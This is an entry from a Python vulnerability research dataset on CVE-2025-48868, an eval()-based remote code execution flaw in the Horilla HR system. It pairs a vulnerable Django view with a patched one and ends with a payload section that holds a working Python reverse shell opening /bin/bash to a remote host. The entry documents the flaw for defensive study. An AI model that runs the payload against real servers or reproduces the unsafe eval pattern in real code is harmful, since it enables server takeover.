VAITP Dataset

← Back to the dataset

CVE-2025-48868

Horilla 1.3.0 has an authenticated RCE via unsafe eval() on a query param.

  • CVSS 7.2
  • CWE-95
  • Input Validation and Sanitization
  • Remote

Horilla is a free and open source Human Resource Management System (HRMS). An authenticated Remote Code Execution (RCE) vulnerability exists in Horilla 1.3.0 due to the unsafe use of Python’s eval() function on a user-controlled query parameter in the project_bulk_archive view. This allows privileged users (e.g., administrators) to execute arbitrary system commands on the server. While having Django’s DEBUG=True makes exploitation visibly easier by returning command output in the HTTP response, this is not required. The vulnerability can still be exploited in DEBUG=False mode by using blind payloads such as a reverse shell, leading to full remote code execution. This issue has been patched in version 1.3.1.

CVSS base score
7.2
Published
2025-09-24
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Horilla
Fixed by upgrading
Yes

Solution

Upgrade to Horilla version 1.3.1 or later.

Vulnerable code sample

from django.http import HttpResponse, HttpResponseForbidden
from django.contrib.auth.decorators import login_required

# This is a representative vulnerable Django view.
# The actual Project model is not defined here but is assumed to exist.
# from .models import Project

@login_required
def project_bulk_archive(request):
    """Vulnerable function that demonstrates the security issue."""
    # This view is intended for privileged users like administrators or staff.
    if not request.user.is_staff:
        return HttpResponseForbidden("You do not have permission to perform this action.")

    # Get the 'ids' query parameter from the user.
    # The intended use is a string representation of a list, e.g., '[1, 2, 3]'
    ids_param = request.GET.get('ids', '[]')

    try:
        # VULNERABILITY: The user-controlled 'ids_param' string is passed directly
        # into eval(). A malicious user can inject arbitrary Python code here.
        # For example: __import__('os').system('id')
        project_ids = eval(ids_param)

        # Intended functionality: The code expects `project_ids` to be a list of integers.
        # It would then perform a database operation, like archiving projects.
        # For demonstration, we simulate this with a print statement and a simple response.
        # In a real app, this would be something like:
        # Project.objects.filter(id__in=project_ids).update(status='archived')

        print(f"Archiving projects with IDs: {project_ids}")
        
        # The output of the eval() call is reflected in the response.
        # If DEBUG=True, any command output might also be returned in the error page.
        return HttpResponse(f"Successfully processed project IDs: {project_ids}", status=200)

    except Exception as e:
        # With DEBUG=True, this response would leak the command output and exception details.
        # With DEBUG=False, the attacker would use blind RCE techniques (e.g., time delays, reverse shell).
        return HttpResponse(f"An error occurred: {e}", status=500)

Patched code sample

import json
from django.http import JsonResponse
from django.contrib.auth.decorators import permission_required
from .models import Project  # Assuming a 'Project' model exists

# This is a representation of the fixed view function.
# The original vulnerable function used eval() on the 'ids' parameter.
# The fix replaces the unsafe eval() with json.loads() for safely parsing the input.

@permission_required('project.change_project', raise_exception=True)
def project_bulk_archive(request):
    """
    Archives multiple projects based on a list of IDs provided in the 'ids'
    query parameter.
    """
    # Get the string containing a list of IDs from the query parameters.
    # e.g., 'ids=[1, 2, 3]'
    project_ids_str = request.GET.get('ids')

    if not project_ids_str:
        return JsonResponse({'status': 'error', 'message': 'No project IDs provided.'}, status=400)

    try:
        # THE FIX: Safely parse the input string using json.loads().
        # This replaces the dangerous `eval(project_ids_str)` which allowed
        # arbitrary code execution. json.loads() will only parse valid JSON
        # and does not execute code, mitigating the RCE vulnerability.
        project_ids = json.loads(project_ids_str)

        # Further validation to ensure the parsed data is a list of integers.
        if not isinstance(project_ids, list) or not all(isinstance(item, int) for item in project_ids):
            raise ValueError("Input must be a JSON array of integers.")

        # Perform the bulk update operation on the validated list of IDs.
        updated_count = Project.objects.filter(id__in=project_ids).update(is_archived=True)

        return JsonResponse({
            'status': 'success',
            'message': f'{updated_count} projects have been archived.'
        })

    except (json.JSONDecodeError, ValueError) as e:
        # Handle cases where the input is not valid JSON or not in the expected format.
        return JsonResponse({'status': 'error', 'message': f'Invalid data format: {e}'}, status=400)
    except Exception as e:
        # Generic error handler for other potential issues.
        return JsonResponse({'status': 'error', 'message': f'An unexpected error occurred: {e}'}, status=500)

Payload

__import__('os').system('python3 -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'10.0.0.1\', 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\'/bin/bash\')"')

Cite this entry

@misc{vaitp:cve202548868,
  title        = {{Horilla 1.3.0 has an authenticated RCE via unsafe eval() on a query param.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-48868},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-48868/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::